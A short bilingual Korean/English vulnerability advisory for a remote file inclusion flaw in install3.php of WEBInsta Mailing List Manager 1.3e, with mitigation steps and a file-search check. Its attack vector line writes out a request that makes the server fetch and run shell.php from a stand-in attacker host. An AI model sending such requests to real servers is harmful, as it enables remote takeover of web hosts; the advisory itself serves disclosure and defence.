🇰🇷 한글 설명
WEBInsta Mailing List Manager 1.3e의 install3.php에서 cabsolute_path 파라미터를 통한 원격 파일 포함(RFI) 취약점. 인증 없이 악의적인 URL을 통해 원격 서버의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
설치 파일에서 외부 파일을 불러오는 기능에 검증이 없어, 공격자가 자신의 서버에서 악성 파일을 실행시킬 수 있습니다. 이를 통해 웹 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in install3.php in WEBInsta Mailing List Manager 1.3e allows remote attackers to execute arbitrary PHP code via a URL in the cabsolute_path parameter.
📍 영향받는 시스템
WEBInsta Mailing List Manager 1.3e 이하
⚔️ 공격 벡터
install3.php?cabsolute_path=http://attacker.com/shell.php 형태의 URL 접근으로 임의 코드 실행
🛡️ 대응 방법
버전 1.3e 초과로 업그레이드하거나, install3.php 접근을 제한하고 입력값 검증 및 include 함수 화이트리스트 구현
🔧 검증 코드
install3.php 파일이 발견되면 해당 경로의 WEBInsta 설치 확인, find 결과 없으면 미설치 또는 제거됨
find / -name 'install3.php' -type f 2>/dev/null